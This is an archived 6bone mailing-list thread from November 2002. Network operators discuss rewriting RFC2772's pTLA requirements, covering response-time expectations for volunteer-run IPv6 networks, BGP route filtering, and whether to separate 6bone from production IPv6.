it is fair to assume a ISP-NOC like level of service. The goal is to get
there, and we'll put verbiage in that allows for repurcussions if someone is
providing what is commonly felt to be 'non-production-like' service.  Will
this satisfy all parties?



Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------

On 13 Nov 2002, Robert Kiessling wrote:

->Paul Aitken <paitken@cisco.com> writes:
->
->> Presumably if you take your girlfriend away for the weekend then
->> either you persuade her to let you take your laptop computer with you,
->> or you get Mike Cheney to stand in for you, right?
->
->You have a very good point pointing to a serious conflict.
->
->You and others operate pTLAs and provide many valuable services to the
->community. However, it's operated as a spare-time activity without,
->for example, guaranteed response times.
->
->This leads to serious operational impact on the whole IPv6 world. I
->just want to recall the AS1654 incidence, where a hobby pTLA brought
->down significant parts of the global IPv6 network and we were lucky
->enough that the IPv4 upstream was available to turn off the tunnel
->endpoint.
->
->As a result the IPv6 network quality is considerably worse than IPv4,
->and understandably people are reluctant to trust important services to
->IPv6.
->
->I see only two solutions:
->
->1. Isolate 6bone and similarly operated one-host-wildly-tunneled sTLAs
->from a production-quality IPv6 core, and widely implement filtering.
->
->2. Assure that pTLAs provide a minimum of service.
->
->Robert
->
->_______________________________________________
->6bone mailing list
->6bone@mailman.isi.edu
->http://mailman.isi.edu/mailman/listinfo/6bone
->


From andyf@penfold.noc.clara.net Wed Nov 13 12:38:48 2002
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From: Andy Furnell <andy@ipng.org.uk>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Cc: Paul Aitken <paitken@cisco.com>,
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On Wed, Nov 13, 2002 at 08:03:52PM +0000, Robert Kiessling wrote:
> 
> Paul Aitken <paitken@cisco.com> writes:
> 
> > Presumably if you take your girlfriend away for the weekend then
> > either you persuade her to let you take your laptop computer with you,
> > or you get Mike Cheney to stand in for you, right?
> 
> You have a very good point pointing to a serious conflict.
> 
> You and others operate pTLAs and provide many valuable services to the
> community. However, it's operated as a spare-time activity without,
> for example, guaranteed response times.
> 
> This leads to serious operational impact on the whole IPv6 world. I
> just want to recall the AS1654 incidence, where a hobby pTLA brought
> down significant parts of the global IPv6 network and we were lucky
> enough that the IPv4 upstream was available to turn off the tunnel
> endpoint.
> 
> As a result the IPv6 network quality is considerably worse than IPv4,
> and understandably people are reluctant to trust important services to
> IPv6.
> 
> I see only two solutions:
> 
> 1. Isolate 6bone and similarly operated one-host-wildly-tunneled sTLAs
> from a production-quality IPv6 core, and widely implement filtering.
> 
> 2. Assure that pTLAs provide a minimum of service.
> 
> Robert

That's not to say that hobby ISPs can't have good response times though.
Everyone has to start somewhere, and often it's not practical
(predominantly for financial reasons :) to devote 100% of your time (and
of your colleagues' time) to a project. Many IPv4 ISPs have been started
as 'back bedroom' ISPs, and many small-medium providers are still run as
such.

I'd hate to see requirements appertaining to the necessity for 'full
time staff', as in many cases this isn't possible. I think what's
important is that staff are contactable 24/7, and that there will always
be staff around to handle any network issues that may arise.

At the moment the v6 project I'm a part of is only being run part time,
and not for profit. That's not to say it's any less worthwhile than a
full-blown commercial project (I'm finding increasingly that I'm
spending an equal amount of time on my daytime paid job and my evenings
unpaid job), but I can see where people could have a problem with this.
While I'm always careful to ensure that there is always a point of
contact for the v6 services, I do agree that unless a service has
dedicated staff it can be difficult to devote time to fixing any
problems that arise.

Just because a project is only part-time for its staff doesn't mean that
they can't guarantee a response time. I think the trick here is going to
be to ensure that a minimum level of service can be achieved. How this
is determined I have no idea, but I would be the first person to object
if worthwhile projects were turned down the opportunity to take the
first step towards being a full-blown enterprise because of a
requirement that hadn't been fully thought out.

Just my 2 cents :)

A

-- 
Andy Furnell
andy@ipng.org.uk

From nicolas.deffayet@ndsoftware.net Wed Nov 13 13:51:40 2002
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Subject: Re: [6bone] RFC2772 rewrite
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Cc: Paul Aitken <paitken@cisco.com>,
   "Robert J. Rockell"
	 <rrockell@sprint.net>,
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On Wed, 2002-11-13 at 21:03, Robert Kiessling wrote:

> You and others operate pTLAs and provide many valuable services to the
> community. However, it's operated as a spare-time activity without,
> for example, guaranteed response times.
> 
> This leads to serious operational impact on the whole IPv6 world. I
> just want to recall the AS1654 incidence, where a hobby pTLA brought
> down significant parts of the global IPv6 network and we were lucky
> enough that the IPv4 upstream was available to turn off the tunnel
> endpoint.

The AS1654 incidence is not a 6bone specific problem.
A production network can have the same (or similar) problem.

Don't forget, BGP is not a secure protocol.

> As a result the IPv6 network quality is considerably worse than IPv4,
> and understandably people are reluctant to trust important services to
> IPv6.
> 
> I see only two solutions:
> 
> 1. Isolate 6bone and similarly operated one-host-wildly-tunneled sTLAs
> from a production-quality IPv6 core, and widely implement filtering.
> 
> 2. Assure that pTLAs provide a minimum of service.

I support your second solution.

Best Regards,

Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From andrew@2sheds.de Wed Nov 13 14:35:35 2002
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To: Andy Furnell <andy@ipng.org.uk>
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   Paul Aitken <paitken@cisco.com>,
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Subject: Re: [6bone] RFC2772 rewrite
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On Wed, Nov 13, 2002 at 08:38:36PM +0000, Andy Furnell wrote:
> That's not to say that hobby ISPs can't have good response times though.
> Everyone has to start somewhere, and often it's not practical
> (predominantly for financial reasons :) to devote 100% of your time (and
> of your colleagues' time) to a project. Many IPv4 ISPs have been started
> as 'back bedroom' ISPs, and many small-medium providers are still run as
> such.
>

There is a big difference here however...

'back bedroom' ISPs usually don't start with AS Numbers and have 
5 upstreams, and innumerous peers (tunneled)... In IPv4 you started small.

At this stage you really need to ask what you want/ expect from IPv6,
and whether the 'commercial Internet' should transit over 6Bone networks.
One of the nice things about 6Bone is that it is a 'testbed' for IPv6, where
mistakes benifit the learning process.....

Or do we want to turn it into a second 'Internet'...?

My 2c

Andrew

PS: Is this still valid?

http://www.ietf.org/html.charters/OLD/6bone-charter.html
(Couldn't find a newer one).

From gert@Space.Net Wed Nov 13 14:39:29 2002
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Hi,

On Wed, Nov 13, 2002 at 10:53:19PM +0100, Nicolas DEFFAYET wrote:
> The AS1654 incidence is not a 6bone specific problem.
> A production network can have the same (or similar) problem.
> 
> Don't forget, BGP is not a secure protocol.

BGP with decent filtering, especially of downstreams, could have
prevented this type of accidents.

The way BGP is used right now in wide parts of the "IPv6 world", and 
unfortunately also in many cases in the IPv4 world (no filters, rely 
on "good behaviour" of the peer) is of course widely open to abuse and
accidents.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48540  (48282)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From daniel@kewlio.net Wed Nov 13 15:41:59 2002
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I think that is a better description than the one i gave earlier.  A provider may take a bit longer on occasion, but if a provider
constantly has problems and doesnt resolve them within a reasonable amount of time - we should look at that.
Of course "reasonable amount of time" could mean anything.

I personally make sure that i reply to any serious ipv6 request or problem within 24 hours.  If i'm not available for that period of
time, there are other people who will deal with the request.
I know that for many organisations this might not be possible as, of course, ipv6 makes them no money right now!  But i think we're
trying to say that a provider should be positive in its responses if they plan to supply ipv6 services in the future.


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>


----- Original Message -----
From: "Robert J. Rockell" <rrockell@sprint.net>
To: "Paul Aitken" <paitken@cisco.com>
Cc: "6BONE List" <6bone@mailman.isi.edu>
Sent: Wednesday, November 13, 2002 3:43 PM
Subject: Re: [6bone] RFC2772 rewrite


> How about something to the effect of:
>
> "pTLA holder should be responsive.  Preferably, a response within 24 hours is
> appreciated.  If a pTLA holder is non-responsive to repetitive requests for
> assistance, or does not resolve a problem in a timely fasion, the 6bone
> mailing serves as a great place to bring this issue to a greater audience.
> Should a pTLA continually remain unresponsive to issues surrounding the
> behavior of that pTLA, said pTLA holder may be subject to repremand, with
> the potential of revocation of that pTLA, based on concensus by <some
> steering group>"
>
> I'll not commment as to whether my weekend qualifies as 'having a life' or
> not, I do agree that 24 hours is a best effort practice... I've had our
> sysadmins BREAK my e-mail for more than 24 hours, if you can belive that...
>
> So 24 hours is a guideline, but not a 'move it or lose it' rule?
>
> Make sense?
>
>
> Thanks
> Rob Rockell
> SprintLink
> (+1) 703-689-6322
> -----------------------------------------------------------------------
>
> On Wed, 13 Nov 2002, Paul Aitken wrote:
>
> ->Rob,
> ->
> -> > If I don't hear anyone complain in 24 hours (good number to use)
> -> > we'll stick that in there :)
> ->
> ->*complain*
> ->
> ->While I appreciate the sentiment behind this suggestion, and wouldn't be
> ->surprised to find that most folks on the list meet the requirement, I'd
> ->expect that there are some folks who do actually have a life and
> ->actually do non work-related things at the weekend <gasp!> and I
> ->wouldn't want to discourage that in any way!
> ->
> ->Besides, there are plenty of other times when we're out of touch for
> ->more than 24 hours, during which time we expect our networks to run
> ->happily without our constant supervision, right?
> ->
> ->As Daniel said:
> ->
> -> > I don't think that 24hours is bad for a *response* - maybe not
> -> > resolution though.
> ->
> ->An autoresponder or ticketing system would meet the response requirement
> ->without actually dealing with the problem in any way :-(
> ->
> ->So what are we trying to achieve? To force the pTLA holder to respond,
> ->or to encourage them to resolve the technical issue? What would happen
> ->if it took 48 hours to respond to an issue - would the time police
> ->reject the holder's pTLA? Will someone volunteer to be "big brother" to
> ->ensure timely responses?
> ->
> ->Perhaps all we should ask is that "the applicant agrees to respond to
> ->technical problems in a timely fashion", and leave discernment to each
> ->case as appropriate?
> ->
> ->Cheers.
> ->--
> ->Paul Aitken
> ->IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland.
> ->
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From daniel@kewlio.net Wed Nov 13 15:43:33 2002
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Hi Guys,

----- Original Message ----- 
From: "Paul Aitken" <paitken@cisco.com>
To: "Robert J. Rockell" <rrockell@sprint.net>
Cc: "6BONE List" <6bone@mailman.isi.edu>
Sent: Wednesday, November 13, 2002 4:26 PM
Subject: Re: [6bone] RFC2772 rewrite


> Rob,
> 
>  > How about something to the effect of:
>  >
>  > [...]
> 
> Yup, that pretty spells out the letter of the law!
> 
>  > I'll not commment as to whether my weekend qualifies as 'having a
>  > life' or not
> 
> :-(
> 
>  > I do agree that 24 hours is a best effort practice... I've had our
>  > sysadmins BREAK my e-mail for more than 24 hours, if you can belive
>  > that...
> 
> Gosh, a whole 24 hours with not a single email? What joy!
> 
>  > So 24 hours is a guideline, but not a 'move it or lose it' rule?
> 
> Sure! I much prefer encouragement over hard and fast rules :-)

Encouragement is definately the way to go - perhaps even called steering? :)
Setting defined rules is always hard and people will always find exceptions too.


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>


> Cheers.
> -- 
> Paul Aitken
> IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland.
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From daniel@kewlio.net Wed Nov 13 15:48:44 2002
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Subject: Re: [6bone] RFC2772 rewrite
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Hi Robert / other 6bone folk,

----- Original Message -----
From: "Robert J. Rockell" <rrockell@sprint.net>
To: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
Cc: "Paul Aitken" <paitken@cisco.com>; "6BONE List" <6bone@mailman.isi.edu>
Sent: Wednesday, November 13, 2002 4:56 PM
Subject: Re: [6bone] RFC2772 rewrite


> I would agree that sometimes, guaranteeing resolution in a timely manner is
> difficult. Learning curves aside, bugs in all forms of software, from
> end-system, to DNS, to Router, can provide for delay times in excess of 24
> hours.  this is permissible, so long as the pTLA can scope the problem to
> minimize impact on the global 6bone, right?

A definitive resolution may take more than 24 hours, but as long as a provider is actively trying to fix a problem i think we are
achieving what we want.  Not all problems can be resolved in 24 hours and certainly not in a development environment.  It doesnt
take much to reply to an email with a couple of updates along the way :-)

However, as per the earlier e-mails, everyone can get problems and in this kind of environment i think they're unavoidable.  What we
need to steer away from is "one man bands" making themselves appear larger than they are and then becoming overloaded with problems.
I know we have the multiple contacts in the 6bone guidelines - but it's pretty simple to make a name and email address up!  (in case
anyone feels like checking mine - my other contact is a listed director of the company too!)
It's fun to play a big company, but it hinders development on this level.


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>

> Thanks
> Rob Rockell
> SprintLink
> (+1) 703-689-6322
> -----------------------------------------------------------------------
>
> On 13 Nov 2002, Nicolas DEFFAYET wrote:
>
> ->On Wed, 2002-11-13 at 16:32, Paul Aitken wrote:
> ->Paul,
> ->
> ->>  > If I don't hear anyone complain in 24 hours (good number to use)
> ->>  > we'll stick that in there :)
> ->>
> ->> *complain*
> ->>
> ->> While I appreciate the sentiment behind this suggestion, and wouldn't be
> ->> surprised to find that most folks on the list meet the requirement, I'd
> ->> expect that there are some folks who do actually have a life and
> ->> actually do non work-related things at the weekend <gasp!> and I
> ->> wouldn't want to discourage that in any way!
> ->
> ->>From RFC2772:
> ->
> ->   2. The pTLA Applicant MUST have the ability and intent to provide
> ->       "production-quality" 6Bone backbone service. Applicants must
> ->       provide a statement and information in support of this claim.
> ->       This MUST include the following:
> ->
> ->
> ->      a. A support staff of two persons minimum, three preferable, with
> ->          person attributes registered for each in the ipv6-site object
> ->          for the pTLA applicant.
> ->
> ->
> ->A pTLA is managed by many people.
> ->
> ->If a network is correctly managed, there is always someone available for
> ->solve technical problems.
> ->
> ->> Besides, there are plenty of other times when we're out of touch for
> ->> more than 24 hours, during which time we expect our networks to run
> ->> happily without our constant supervision, right?
> ->>
> ->> As Daniel said:
> ->>
> ->>  > I don't think that 24hours is bad for a *response* - maybe not
> ->>  > resolution though.
> ->>
> ->> An autoresponder or ticketing system would meet the response requirement
> ->> without actually dealing with the problem in any way :-(
> ->>
> ->> So what are we trying to achieve? To force the pTLA holder to respond,
> ->> or to encourage them to resolve the technical issue? What would happen
> ->> if it took 48 hours to respond to an issue - would the time police
> ->> reject the holder's pTLA? Will someone volunteer to be "big brother" to
> ->> ensure timely responses?
> ->
> ->Autoresponder or ticketing system don't solve the problem of reply and
> ->the technical problem.
> ->
> ->Best Regards,
> ->
> ->Nicolas DEFFAYET, NDSoftware
> ->NOC Website: http://noc.ndsoftwarenet.com/
> ->FNIX6: http://www.fnix6.net/
> ->
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From daniel@kewlio.net Wed Nov 13 15:54:20 2002
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Hi Guys/Girls(?),

----- Original Message -----
From: "Paul Aitken" <paitken@cisco.com>
To: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
Cc: "Robert J. Rockell" <rrockell@sprint.net>; "6BONE List" <6bone@mailman.isi.edu>
Sent: Wednesday, November 13, 2002 5:52 PM
Subject: Re: [6bone] RFC2772 rewrite


> Nicolas,
>
> > A pTLA is managed by many people.
>
> Allegedly, yes.

See my previous mail :P

> > If a network is correctly managed, there is always someone available for
> > solve technical problems.
>
> Not so. Cisco doesn't require us to work 24 x 7, though we enjoy our
> work so much that we're often available out of hours - and I'm sure the
> same holds true for other pTLA's too. But I expect that many technical
> contacts from existing pTLA's will be out of touch while they travel to
> the IETF.

This is often the case (in UK companies at least) where time during the day is limited.  (a good example is me sending this email at
11:50pm :P)
As a non-profit making venture, i'd imagine a lot of companies are working out of hours for ipv6 - and we're glad of that! (Thanks
to Paul for always responding to me in a timely manner - usually out of hours :P)

> Presumably if you take your girlfriend away for the weekend then either
> you persuade her to let you take your laptop computer with you, or you
> get Mike Cheney to stand in for you, right?

Or Chris Burton or Bruno Nash or Myriam Morel :P

> > Autoresponder or ticketing system don't solve the problem of reply and
> > the technical problem.
>
> Yes, that was my point exactly - but they do meet the wording of your
> requirement of a response within 24 hours. Having 99.9...% of queries
> responded to in under a minute looks great as a statistic, but is
> totally useless unless there's human intervention to back it up.
>
> So best to ask for the human intervention rather than the response, eh?

A human response is the best response.  I really don't feel that i'm being helped if i get an auto-generated email telling me
someone is looking into it.  Now, if i get an email from a human - i feel much happier knowing that someone has actually read my
email, understands it and recognises there is a problem.  Sometimes this is half the problem in itself!



Daniel.


> --
> Paul Aitken
> IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland.
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From daniel@kewlio.net Wed Nov 13 15:58:51 2002
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Subject: Re: [6bone] RFC2772 rewrite
Date: Wed, 13 Nov 2002 23:58:55 -0000
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----- Original Message -----
From: "Robert J. Rockell" <rrockell@sprint.net>
Sent: Wednesday, November 13, 2002 8:26 PM
Subject: Re: [6bone] RFC2772 rewrite


> I think we are going to write in someting specifying a 'minimum level of
> service'.   However, quantifying that is going to be hard.  I think the
> INTENT of the launguage will point to a robust support infrastructure, but
> as long as companies provide non-revenue-generating service, I don't think
> it is fair to assume a ISP-NOC like level of service. The goal is to get
> there, and we'll put verbiage in that allows for repurcussions if someone is
> providing what is commonly felt to be 'non-production-like' service.  Will
> this satisfy all parties?

That seems fair to me.  I feel that i should provide a good service to all people connected via IPv6 to us.  I know the others that
help me here also feel this way.  If we want to seriously move to an ipv6 Internet, then we need to try our best to provide a
production-like service (to the best extent of our non-revenue-generating activities!).
If providers are repeatedly having massive problems, causing problems in the v6 routing tables or just being unresponsive then i
think repurcussions are an acceptable way forward.


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>


>
>
> Thanks
> Rob Rockell
> SprintLink
> (+1) 703-689-6322
> -----------------------------------------------------------------------
>
> On 13 Nov 2002, Robert Kiessling wrote:
>
> ->Paul Aitken <paitken@cisco.com> writes:
> ->
> ->> Presumably if you take your girlfriend away for the weekend then
> ->> either you persuade her to let you take your laptop computer with you,
> ->> or you get Mike Cheney to stand in for you, right?
> ->
> ->You have a very good point pointing to a serious conflict.
> ->
> ->You and others operate pTLAs and provide many valuable services to the
> ->community. However, it's operated as a spare-time activity without,
> ->for example, guaranteed response times.
> ->
> ->This leads to serious operational impact on the whole IPv6 world. I
> ->just want to recall the AS1654 incidence, where a hobby pTLA brought
> ->down significant parts of the global IPv6 network and we were lucky
> ->enough that the IPv4 upstream was available to turn off the tunnel
> ->endpoint.
> ->
> ->As a result the IPv6 network quality is considerably worse than IPv4,
> ->and understandably people are reluctant to trust important services to
> ->IPv6.
> ->
> ->I see only two solutions:
> ->
> ->1. Isolate 6bone and similarly operated one-host-wildly-tunneled sTLAs
> ->from a production-quality IPv6 core, and widely implement filtering.
> ->
> ->2. Assure that pTLAs provide a minimum of service.
> ->
> ->Robert
> ->
> ->_______________________________________________
> ->6bone mailing list
> ->6bone@mailman.isi.edu
> ->http://mailman.isi.edu/mailman/listinfo/6bone
> ->
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From mohacsi@evil.ki.iif.hu Thu Nov 14 00:00:58 2002
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From: Janos Mohacsi <mohacsi@niif.hu>
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To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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   Bob Fink <fink@es.net>, 6BONE List <6bone@mailman.isi.edu>,
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   Gert Doering <gert@space.net>, Jun-ichiro itojun Hagino <itojun@iijlab.net>,
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Subject: Re: [6bone] RFC2772 rewrite
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On Wed, 13 Nov 2002, Nicolas DEFFAYET wrote:

> On Wed, 2002-11-13 at 16:23, Rik van Riel wrote:
> > On Tue, 12 Nov 2002, Pim van Pelt wrote:
> >
> > > * Should we seperate the 6BONE cloud from the production IPv6 cloud ? This
> > > is not really an RFC2772 issue, but does come to mind.
> >
> > > ... I have heard sounds of operators filtering out 3ffe::/16 due to its
> > > impact on general availablility of IPv6 to their customers. This
> > > deserves discussion!
>
> http://www.noc.easynet.net/network/public/peering-ipv6.html
>
> ---
> Route Filtering
>
> We apply the following filters to announcements:
>
> Block Minimal prefixlength Maximal prefixlength
> 2001::/16 29 40
> 2002::/16 16 16
> 3FFE::/16 not announced
> ---
>
>
> What's the best ?
>
> - have a tunnel peer with a ISP who use production address
> - have a native peer with a ISP who use 6bone address

Your examples are not the dividing points:
Dividing point is, that you know (from your routing policy or the routing
policy of your peering partners), that routes/prefixes you get is
controlled in certain manner:

1. They can guarentee some kind of reachability (does not matter tunnel or
peer). The tunnel reachability is much harder if you cannot control the
IPv4 infrastructure...

2. The prefixes are aggregated accordingly.

3. You know how to control acceptance of the announced prefixes/routes.

In one word you have a decent peering policy.


>
> I prefer have a native peer with a ISP who use 6bone address !
>
> The address type (production or 6bone) should NOT be a peer criteria.
> Only allocation size (sTLA, pTLA, NLA) can be a peer criteria.
>
> You can have a bad peering with a peer who use production address and
> have a good peering with a peer who use 6bone address.
>
> > That doesn't make nearly as much sense as filtering out routes
> > that come via 3ffe::/16 sites, or simply giving these routes a
> > much lower preference so traffic always goes via production
> > sites, if there is a route via production sites.
> >
> > I'm all for some kind of separation between the experimental
> > and the production side of the ipv6 universe, especially if it
> > means that I can keep ipv6 connectivity in the near future,
> > when my ISP doesn't have ipv6 yet, but my own applications do
> > rely on it.
>
> What's a production site ?
>
> - a ISP who have RIR address (2001::/16)
> - a ISP who have native peering
> - a ISP who do commercial activities
>
> Many ISP who use production address (2001::/16) claim to do experimental
> stuff...

See my comments above.
	Janos Mohacsi



From rjorgensen@upctechnology.com Thu Nov 14 06:31:54 2002
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From: Roger Jorgensen <rjorgensen@upctechnology.com>
Subject: Re: [6bone] RFC2772 rewrite
Cc: 6BONE List <6bone@mailman.isi.edu>, David Kessens <david@iprg.nokia.com>,
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At 06:59 PM 11/12/2002 +0100, Pim van Pelt wrote:
><snip>
>* Should we seperate the 6BONE cloud from the production IPv6 cloud ? This
>is not really an RFC2772 issue, but does come to mind.

It isn't really a RFC2772 issue but I guess but it's time to start thinking 
and
have some more focus on all the routing issues we see in IPv6 space so
we can make it a RFC2772 issue?:)


About what Pim said, it's not a question about IF. I would say it's more a
question on HOW.
The reason for that statement are that there are people out there that simply
don't trust the routing in the 6bone cloud. Are too many bad tunnels and 
insane
tunnel connections out there. I've killed many tunnel/transit connection just
because the connection are very bad.
With time will we kill all tunnels to our ASN and run 100% native. With that
move it would be logical to also consider,
         "how do we want to keep the connection to 6bone?"
         "do we want it?"

About the routing mess issue, all connected parties to 6bone need to stop
up and consider,
         "do we have good enough infrastructure to provide transit 
connectivity?"
If you can't provide transit, sit down with your routing and start filtering.
It's time to stop providing free transit to everyone and accept it from 
everyone,
6bone and the IPv6 Internet (yes I see them as two separate network actually)
have grown too big and too complex for the free exchange of transit to work
anymore... the ghost routes are one good example.


Pekka's document, 
http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt
are a good guide on the routing issue.



Some experience I've had with IPv6 routing, guess I'm not the only one with 
it??
I wanted to reach a site I knew was in Europe. I got a route to it from EU, 
to US,
then going around in US before it went back to EU and then finaly hit the 
target.
Pingtime was stable 3-400ms...with decent filtering I probably could have 
reached
the same site within 200ms.
What is worse are that there are some ASN's out there that are "hijacking"
routes, or that's how it feels like when you peer with that ASN.
I can have two peering, one with AS1 (hijacking ASN and 100ms away) and one
with AS2 (a 10ms tunnel), for some strange reason have I seen it again and 
again
that the route are ALWAYS going over AS1. I've heard the same thing from 
others
to so it's not only me that are seeing this.





---
Roger Jorgensen (rjorgensen@upctechnology.com)
System Engineer @ UPC Technology / IP engineering
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID



From riel@conectiva.com.br Thu Nov 14 06:54:29 2002
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On 13 Nov 2002, Robert Kiessling wrote:

> I see only two solutions:
>
> 1. Isolate 6bone and similarly operated one-host-wildly-tunneled sTLAs
> from a production-quality IPv6 core, and widely implement filtering.
>
> 2. Assure that pTLAs provide a minimum of service.

I vote for solution 1.  Until ipv6 is widely available, there is
a legitimate place for an experimental network (6bone) which is
run by volunteers that simply don't have the resources to look
after their pTLA 24x7.

Making the requirements too strict will just cut off part of the
current ipv6 userbase, probably even without achieving the stated
goal because there will always be sites that operate within the
"letter of the law", but still cause trouble...

regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".
http://www.surriel.com/		http://guru.conectiva.com/
Current spamtrap:  <a href=mailto:"october@surriel.com">october@surriel.com</a>


From rrockell@sprint.net Thu Nov 14 07:36:09 2002
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Perhaps we can allow for the 'volunteer' networks to exist, but not as
pTLA's... Many of the volunteers do provide valuable services and testing
cycles for ipv6. However, reliability in the core (even of the 6bone) will
be somewhat necessary for any Volunteer organizations to talk to each other
over IPv6...  Inter-domain routing seems to be one of the largest issues
surrounding Ipv6 deployment now.. We should keep that tight (or at least in
as near a steady-state as possible) so researchers and others have the
ability to test with the confidence that some factors remain static...

rjr

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------

On Thu, 14 Nov 2002, Rik van Riel wrote:

->On 13 Nov 2002, Robert Kiessling wrote:
->
->> I see only two solutions:
->>
->> 1. Isolate 6bone and similarly operated one-host-wildly-tunneled sTLAs
->> from a production-quality IPv6 core, and widely implement filtering.
->>
->> 2. Assure that pTLAs provide a minimum of service.
->
->I vote for solution 1.  Until ipv6 is widely available, there is
->a legitimate place for an experimental network (6bone) which is
->run by volunteers that simply don't have the resources to look
->after their pTLA 24x7.
->
->Making the requirements too strict will just cut off part of the
->current ipv6 userbase, probably even without achieving the stated
->goal because there will always be sites that operate within the
->"letter of the law", but still cause trouble...
->
->regards,
->
->Rik
->--
->Bravely reimplemented by the knights who say "NIH".
->http://www.surriel.com/		http://guru.conectiva.com/
->Current spamtrap:  <a href=mailto:"october@surriel.com">october@surriel.com</a>
->
->_______________________________________________
->6bone mailing list
->6bone@mailman.isi.edu
->http://mailman.isi.edu/mailman/listinfo/6bone
->


From michel@arneill-py.sacramento.ca.us Thu Nov 14 08:24:12 2002
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6boner / Bob / Rob,

At IETF-53 in Minneaopolis I presented a short thought-triggering doc,
that we did not have time to debate. Although it could be refreshed, it
appears to me completely in line as part of the thinking process of
rewriting RFC 2772.

Bob and/or Rob, please consider my request for a 15-minute slot, that
would include discussion, and I promise I'll go faster than last time
presenting ;-)

The doc is here:
http://arneill-py.sacramento.ca.us/ipv6mh/ietf53.ppt

Michel.


From fink@es.net Thu Nov 14 09:03:12 2002
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To: "Michel Py" <michel@arneill-py.sacramento.ca.us>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: [6bone] 6bone meeting in Atlanta, Tuesday noon
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Michel,

At 08:24 AM 11/14/2002 -0800, Michel Py wrote:
>6boner / Bob / Rob,
>
>At IETF-53 in Minneaopolis I presented a short thought-triggering doc,
>that we did not have time to debate. Although it could be refreshed, it
>appears to me completely in line as part of the thinking process of
>rewriting RFC 2772.
>
>Bob and/or Rob, please consider my request for a 15-minute slot, that
>would include discussion, and I promise I'll go faster than last time
>presenting ;-)

As long as you go after the planned 2772 main topic. There are only 60 
minutes in these lunchtime sessions.

Also, if other folk want to present you may have to reduce to 10 mins.


Thanks,

Bob

>The doc is here:
>http://arneill-py.sacramento.ca.us/ipv6mh/ietf53.ppt
>
>Michel.
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From michel@arneill-py.sacramento.ca.us Thu Nov 14 10:14:45 2002
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Bob / Rob / Pekka,

>> Michel Py wrote:
>> Bob and/or Rob, please consider my request for a 15-minute
>> slot, that would include discussion, and I promise I'll go
>> faster than last time presenting ;-)

> Bob Fink wrote:
> As long as you go after the planned 2772 main topic. There
> are only 60 minutes in these lunchtime sessions.

This is my goal.

Unrelated to this:
A little earlier, I suggested that part of the 2772 refresh could be
devoted to incorporate some of the changes necessary to the move towards
the RIRs. I have not heard feedback about this, do you think it's a good
idea? Will Rob present something related to this?



> Also, if other folk want to present you may have to reduce
> to 10 mins.

Fair. Pekka S., will you be presenting your draft? I so, I would suggest
you present before I do.

Thanks
Michel


From pekkas@netcore.fi Thu Nov 14 10:19:12 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] 6bone meeting in Atlanta, Tuesday noon
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On Thu, 14 Nov 2002, Michel Py wrote:
> At IETF-53 in Minneaopolis I presented a short thought-triggering doc,
> that we did not have time to debate. Although it could be refreshed, it
> appears to me completely in line as part of the thinking process of
> rewriting RFC 2772.
> 
> Bob and/or Rob, please consider my request for a 15-minute slot, that
> would include discussion, and I promise I'll go faster than last time
> presenting ;-)
> 
> The doc is here:
> http://arneill-py.sacramento.ca.us/ipv6mh/ietf53.ppt

There's too much (in this context) irrelevant semantics, degrading the 
possible usefulness of this presentation.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From michel@arneill-py.sacramento.ca.us Thu Nov 14 10:21:41 2002
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> There's too much (in this context) irrelevant semantics,
> degrading the possible usefulness of this presentation.

I agree, it needs to be refreshed. Keep in mind, this is the Minneapolis
presentation, not the future one.

Michel.


From pekkas@netcore.fi Thu Nov 14 12:03:32 2002
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From: Pekka Savola <pekkas@netcore.fi>
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Subject: [6bone] RFC2772 rewrite -- bigger scope goals
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Hello,

First, before we try to modify RFC2772, I think we need to have an idea 
what we're trying to do:

 - policy for new allocations and for new organizations only?
 - policy for new and old pTLA holders alike (any policy we agree on MUST 
also by implemented by current pTLA's, as an item they agreed to in 
RFC2772)?

Follow-up questions: is there a need for the policies for the old and the
new be the same (IMO not necessarily)?  What if don't conform to the new
rules, the revocation process?

